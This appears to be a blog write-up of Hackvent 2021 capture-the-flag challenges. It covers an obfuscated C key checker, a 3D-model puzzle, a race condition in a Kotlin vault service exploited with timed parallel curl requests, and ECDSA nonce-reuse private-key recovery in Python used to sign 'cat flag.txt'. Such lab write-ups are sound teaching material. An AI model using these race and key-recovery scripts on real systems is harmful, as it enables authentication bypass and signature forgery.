#include/*502_-_zU3X)}tM1#Hq$4D"35*/<stdio.h>//W6juf:tvs.]DrIoMM(axv0@|k?+jkES5r #define/*&jhm|0zs(*/B/*zDq|:OHcU~Dv|;7,FE)9s(Ue!5gM*/break//v9BF(TT1Gq"19#?kJ2*H #define/*JH8gDjl*/C(x)/*c9UOy:3*/case/*@MgHEK+94c9*/x/*bb]V+F#*/://u$T._.$ms'cjF #define/*XSGrEWMy94I!VMe_n*/E(x)/*UUG9F{)zJB*/else/*CJsY*9D|SfgQ-XL*/x//s{2GfRjU #define/*jDdwh4pU,*/F(x)/*@48h|llEw&qpgsJl7ifhb)*/if/*ux7-7_$}9*P*/(x)//s0qQes26
#define/*6#ZZoxYnO4xaPrjtX!?4IFw.o(J.F!aw;l1J*/G/*(K)A*N^+.p#'*/getchar//R3k7&Fz
#define/*i3pPy[qc!eLd1x*/H/*yUP"V{xqnjY*/char//9hek:99{qBf[JY4J]IQ(|uC?fP"l+vyI8
#define/*&#AH67b)-BfgJ*/I(x)/*3*N):*@uqGsPWx8qa6@m6Jh*/int x//FR9+X'O:zMD(h4vS1I
#define/*hJ5*/N(x)/*rjl|(eQP#|z*/const/*7,XJg5(b{55*/x//{v|REgeXz(Lt4i!ip}t$4NFO #define/*KHZ4M6Iisfr*-*/P/*1=j~}wrY*,{Ed$LBv6RFjZL$.!~dYEQ,!nLcP*/putchar//%cf1H #define/*NNpSIo2OmEA~By*/R(x)/*KO5g{I.-}d4*/return/*B1W|t9J#IMl*/x//&{GOKv%1DeOR #define/*{2&kPmy$}*/S/*We3LM~2)9-S+vv0"]F*/switch//(d't:h%G1PW'PMq:YT$99wc'Armhm #define/*@:ZX?_W)3Ow*/U(x)/*m.ZxP@*/unsigned/*@':qb8*/x//Z0GPh4pWKUeua|U$V0JqZz0
#define/*1b*/W(x)/*A8M{Ww*/while/*lZ8(@={auRxbu(0pQ48vR]Y*/(x)//-gw7zlWYT.LW+rE3
N(H)*d="\0329>\036=\016"/*FzeM,;=3;T@Ddy_k}.3$Z?*/"b\040\012!9\016"/*uKjE"vL!jSf ...[snip]...  Solution Compile My first thought was to beautify and remove comments, but then I decided to compile it: $ gcc -o day12 434eb425-6597-4fd0-bbd8-6f6e427a5f72.c


Running that asks for a key:

Get Flag

Running and giving that password solves and returns the flag:

$./day12 Enter key: BF4theWiN$Right?
HV21{-HidDeN-bRaiNF-Ck-dEcoDer-}


Flag: HV21{-HidDeN-bRaiNF-Ck-dEcoDer-}

HV21.15

Challenge

HV21.15 Christmas Bauble
Categories: REVERSE_ENGINEERING
Level: medium
Author: Dr Nick.
DrSchottky

The elves have started taking 3D modeling classes and have presented Santa with a gift. What a nice gesture! But the ball feels heavier than it should; what does that even mean for digital assets???

It includes a file, bauble.stl.

Solution

I dealt with a similar file in Hackvent 2019. I’ll use the same tool, Clara.io, with the full solve here on YouTube:

Flag: HV21{1st_P4rt_0f_th3_fl4g_with_the_2nd_P4rt_c0mb1ned_w17h_th4t}

HV21.16

Challenge

HV21.16 Santa's Crypto Vault
Categories: WEB_SECURITY
PROGRAMMING
Level: medium
Author: MtHonegg
Kotlin

With the recent Crypto Rally, Santa has invested all his funds into Santa Coins. Because he doesn’t trust any existing software to securely store his wallet, he asked one of his elves, “Mikitaka Hazekura”, to implement their own crypto vault using enterprise software design patterns, the latest technology and thorough unit tests. They’re so proud of it, they’ve decided to open source it!

Santa requested to use multiple words, based off his favorite anime, instead of one long password to make it more memorable and secure at the same time.

Santa watched the newly released 6th part of his favorite anime and binge-watched it multiple times already. Unfortunately he can now no longer remember which characters he used to set up his wallet and can’t access his funds to buy the gifts for Christmas. Can you help Santa out?

Hints

• No knowledge about JoJo's Bizarre Adventure is required to solve this challenge
• No extensive brute force or wordlist is required

The docker looks like:

There’s also the source to the application available for download.

Solution

Source Review

The code is written in kotlin, which is a lot like Java (and compatible with Java).

There’s a handful of files:

$find src/ -type f src/test/kotlin/.DS_Store src/test/kotlin/dev/honegger/hackvent2021/securecryptovault/controllers/VaultControllerTests.kt src/test/kotlin/dev/honegger/hackvent2021/securecryptovault/SecureCryptoVaultApplicationTests.kt src/test/kotlin/dev/honegger/hackvent2021/securecryptovault/.DS_Store src/test/kotlin/dev/honegger/hackvent2021/.DS_Store src/test/kotlin/dev/honegger/.DS_Store src/test/kotlin/dev/.DS_Store src/test/.DS_Store src/main/resources/static/index.html src/main/resources/application.properties src/main/kotlin/dev/honegger/hackvent2021/securecryptovault/controllers/VaultController.kt src/main/kotlin/dev/honegger/hackvent2021/securecryptovault/SecureCryptoVaultApplication.kt src/main/kotlin/dev/honegger/hackvent2021/securecryptovault/services/WalletService.kt src/main/kotlin/dev/honegger/hackvent2021/securecryptovault/services/HashService.kt src/main/kotlin/dev/honegger/hackvent2021/securecryptovault/services/VaultService.kt src/main/kotlin/dev/honegger/hackvent2021/securecryptovault/services/VaultCode.kt src/main/.DS_Store src/.DS_Store  The application shows about what one might expect from the webapp above. The logic takes place in VaultController.kt : /** * Prevent evil DDOS or Brute-Force attacks */ private const val maxConcurrentRequests = 2 /** * Prevent time based Brute-Force attacks */ private val constRequestDuration = 2.seconds private val log = KotlinLogging.logger { } @RestController class VaultController(private val vaultService: VaultService, private val walletService: WalletService) { private var activeRequests = AtomicInteger(0) private val scope = CoroutineScope(Dispatchers.Default) @GetMapping("/check") suspend fun check(code: VaultCode): ResponseEntity<String> { return if (activeRequests.incrementAndGet() <= maxConcurrentRequests) { try { log.info { "Checking$code" }
val delayTask = scope.async { delay(constRequestDuration) }
val codeTask = scope.async { vaultService.checkCode(code) }

val res = codeTask.await()
if (res) {
ResponseEntity.ok("Correct code! Here's your crypto wallet: ${walletService.walletAddress}") } else { ResponseEntity.status(HttpStatus.FORBIDDEN).body("Wrong code!") } } finally { activeRequests.decrementAndGet() } } else { activeRequests.decrementAndGet() log.info { "Blocked DDOS attack" } ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS).body("Too many parallel requests!") } } }  There’s a check to make sure that no more than two concurrent requests are in at the same time. It is callign into vaultService to check if the code is good. That check is relatively straight forward: @Service internal class DefaultVaultService(private val hashService: HashService, properties: VaultProperties) : VaultService { private val secret = properties.secret @Volatile private var matched: Boolean = false private suspend fun String.hash(): String = hashService.hash(this) override suspend fun checkCode(code: VaultCode): Boolean { matched = true if (code.bestCharacter.hash() != secret.bestCharacter) { log.warn { "Wrong bestCharacter '${code.bestCharacter}', rejecting code" }
matched = false
}
if (code.bestWaifu.hash() != secret.bestWaifu) {
log.warn { "Wrong bestWaifu '${code.bestWaifu}', rejecting code" } matched = false } if (code.reliableGuy.hash() != secret.reliableGuy) { log.warn { "Wrong reliableGuy '${code.reliableGuy}', rejecting code" }
matched = false
}
if (code.bestStand.hash() != secret.bestStand) {
log.warn { "Wrong bestStand '${code.bestStand}', rejecting code" } matched = false } if (code.bestVillain.hash() != "Dio".hash()) { // TODO move hashed value to configuration log.warn { "Wrong bestVillain '${code.bestVillain}', rejecting code" }
matched = false
}

log.info { "Matched code = $matched" } return matched } }  I’ll note that the correct answer for Best Villain is “Dio”. It’s in looking at the tests that an interesting function jumps out from VaultControllerTests.kt:  @Test @Disabled("TODO sometimes this test fails and a dummyCode passes, hopefully just a test issue") fun parallel execution works() = runBlocking { listOf( async { controller.check(dummyCode) }, // Hint: This delay needs to be adjusted based on computer speed if you want to run the test locally async { delay(375.milliseconds); controller.check(dummyCode) }, ).map { it.await() }.forEach { Assertions.assertEquals( HttpStatus.FORBIDDEN, it.statusCode ) } }  dummyCode is defined above as “Dio” for all the answers. The test is disabled, and named parallel execution works. The comment says that sometimes this test fails and dummyCode passes. There’s also a hint that the delay needs to be adjusted. Parallel Requests The comments and that test suggest I should try to send two requests with a short delay between then. I’ll use curl: $ curl 'https://f9797854-806a-4e09-bd87-340b03a25079.idocker.vuln.land/check?bestCharacter=Dio&bestWaifu=Dio&reliableGuy=Dio&bestStand=Dio&bestVillain=Dio' & sleep .375; curl 'https://f9797854-806a-4e09-bd87-340b03a25079.idocker.vuln.land/check?bestCharacter=Dio&bestWaifu=Dio&reliableGuy=Dio&bestStand=Dio&bestVillain=Dio';


By issuing it as curl & sleep; curl, Bash will start the first curl in the background, and continue to the next command without waiting. The sleep will block for 3.75 seconds, and then start the next curl . This didn’t work.

Given the comment about needing to adjust the time, I started a loop to walk different time delays:

#!/bin/bash

host="c3c7fb1f-2f8f-4611-9d71-601df7f54dab.idocker.vuln.land"

for i in seq .300 .005 .750; do
curl -s "https://${host}/check?bestCharacter=Dio&bestWaifu=Dio&reliableGuy=Dio&bestStand=Dio&bestVillain=Dio" | grep HV & sleep$i;
curl -s "https://${host}/check?bestCharacter=Dio&bestWaifu=Dio&reliableGuy=Dio&bestStand=Dio&bestVillain=Dio" | grep HV; done  Running that returned the flag: $ ./solve.sh
Correct code! Here's your crypto wallet: HV21{c0ncurrency_1s_a_b1tch}
^C


Flag: HV21{c0ncurrency_1s_a_b1tch}

Why?

So how does this work? It all comes down to how the checks are handled in vaultService:

    override suspend fun checkCode(code: VaultCode): Boolean {
matched = true
if (code.bestCharacter.hash() != secret.bestCharacter) {
log.warn { "Wrong bestCharacter '${code.bestCharacter}', rejecting code" } matched = false } if (code.bestWaifu.hash() != secret.bestWaifu) { log.warn { "Wrong bestWaifu '${code.bestWaifu}', rejecting code" }
matched = false
}
if (code.reliableGuy.hash() != secret.reliableGuy) {
log.warn { "Wrong reliableGuy '${code.reliableGuy}', rejecting code" } matched = false } if (code.bestStand.hash() != secret.bestStand) { log.warn { "Wrong bestStand '${code.bestStand}', rejecting code" }
matched = false
}
if (code.bestVillain.hash() != "Dio".hash()) { // TODO move hashed value to configuration
log.warn { "Wrong bestVillain '${code.bestVillain}', rejecting code" } matched = false } log.info { "Matched code =$matched" }

return matched
}


Spring (the framework in use here) assumes services are stateless, so it reuses variables. If my first request has just finished setting matched = false for bestStand when my second one starts, it’s possible that the second one sets matched = true (at the top), and then the first request continues and reaches the end returning the true.

HV21.17

Challenge

HV21.17 Forging Santa's Signature
Categories: CRYPTO
Level: hard
Author: ice

Santa is out of town and the elves have to urgently sign for an order. What to do, what to do? Well, need to save Christmas, so forge Santa’s signature they shall!

The message to be signed is hashed as follows: int(sha512(content.encode('utf-8')).hexdigest(), 16)

The docker presents a terminal:

Solution

Recover Private Key

Right away I’ll note P-384 - That’s an ellipic curve used in cryptographic operations.

If I enter “S”, it prints an example:

It’s returning two ints, r and s , which make up the signature. Giving “S” again prints another example:

Right away I’ll notice that r is the same for both, even though the message differs. This means that the system is not picking a random nonce (k), but rather reusing it. And that means I can recover the private key.

This CTF writeup is a good template for how to proceed, but there’s a few twists.

I’ll start by getting two sample messages with their r and s, and then use the math from the post to calculate k, r inverse, and finally d_a, which is all I need for the private key:

#!/usr/bin/env python3

import ecdsa
from hashlib import sha512

curve = ecdsa.NIST384p

n = curve.order
msg1 = "Sample 1"
msg2 = "Sample 2"
m1 = int(sha512(msg1.encode('utf-8')).hexdigest(), 16)
m2 = int(sha512(msg2.encode('utf-8')).hexdigest(), 16)
s1 = 33489134456111111586096003730303147241928968413082982761452509879175853726989263466321845886997949086736334058676262
s2 = 12179081171572655869294347249741514468765462547977699758324294644893813236189677267344890012834272190773840024562132
r1 = 21172553356787156393241105864779402540761591694979314103620716528356927452992871965510308895433312567472738317321735

k = ((m1 - m2) * ecdsa.numbertheory.inverse_mod(s1 - s2, n)) % n
r_inv = ecdsa.numbertheory.inverse_mod(r1, n)
d_a = ((s1*k - m1) * r_inv) % n

sk = ecdsa.SigningKey.from_secret_exponent(d_a, curve=curve, hashfunc=sha512)


Fix Lengths

I’ll run with -i to get a terminal after it runs and check that the key will verify the messages that I already have:

$python -i solve.py >>> vk = sk.verifying_key >>> sig1 = ecdsa.util.sigencode_string(r1, s1, n) >>> vk.verify(sig1, msg1.encode()) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/oxdf/.local/lib/python3.8/site-packages/ecdsa/keys.py", line 682, in verify return self.verify_digest(signature, digest, sigdecode, allow_truncate) File "/home/oxdf/.local/lib/python3.8/site-packages/ecdsa/keys.py", line 736, in verify_digest raise BadSignatureError("Signature verification failed") ecdsa.keys.BadSignatureError: Signature verification failed  The signature fails. To figure out why, I’ll need this line from the Python ecdsa source: :param hashfunc: hash function to use for hashing the provided data. If unspecified the default hash function selected during object initialisation will be used (see VerifyingKey.default_hashfunc). Should behave like hashlib.sha1. The output length of the hash (in bytes) must not be longer than the length of the curve order (rounded up to the nearest byte), so using SHA256 with NIST256p is ok, but SHA256 with NIST192p is not. (In the 2**-96ish unlikely event of a hash output larger than the curve order, the hash will effectively be wrapped mod n). Use hashfunc=hashlib.sha1 to match openssl’s -ecdsa-with-SHA1 mode, or hashfunc=hashlib.sha256 for openssl-1.0.0’s -ecdsa-with-SHA256. Ignored for EdDSA Basically, for SHA512, it can’t use all 512 bits in P-384, as it can only used 384 bits. I’ll truncate the hashes to fit: #!/usr/bin/env python3 import ecdsa import gmpy from hashlib import sha512 curve = ecdsa.NIST384p n = curve.order msg1 = "Sample 1" msg2 = "Sample 2" m1 = int(sha512(msg1.encode('utf-8')).hexdigest()[:96], 16) m2 = int(sha512(msg2.encode('utf-8')).hexdigest()[:96], 16) s1 = 33489134456111111586096003730303147241928968413082982761452509879175853726989263466321845886997949086736334058676262 s2 = 12179081171572655869294347249741514468765462547977699758324294644893813236189677267344890012834272190773840024562132 r1 = 21172553356787156393241105864779402540761591694979314103620716528356927452992871965510308895433312567472738317321735 k = ((m1 - m2) * ecdsa.numbertheory.inverse_mod(s1 - s2, n)) % n r_inv = ecdsa.numbertheory.inverse_mod(r1, n) d_a = ((s1*k - m1) * r_inv) % n sk = ecdsa.SigningKey.from_secret_exponent(d_a, curve=curve, hashfunc=sha512) vk = sk.verifying_key sig1 = ecdsa.util.sigencode_string(r1, s1, n) assert (vk.verify(sig1, msg1.encode()))  Now with that assert at the end, if I can run this and it doesn’t throw an exception, it worked. And it works! Sign Commands I’ll add a bit at the end to sign what looks like a command. I can do ls, and see flag.txt. I’ll run: attack = b"cat flag.txt" sig = sk.sign(attack) print(attack, ecdsa.util.sigdecode_string(sig, n))  Running it gives the signature: $ python -i solve.py
b'cat flag.txt' (24966110335255685305012624484719629308676362811020361696344168753089771662201854800730776413594035191325462334741981, 32481287412544828151912786360856221993936742473856863223879577797534474643068734387634019369552513767600809078384845)


Entering that gives the flag:

Flag: HV21{what's_in_a_nonce?}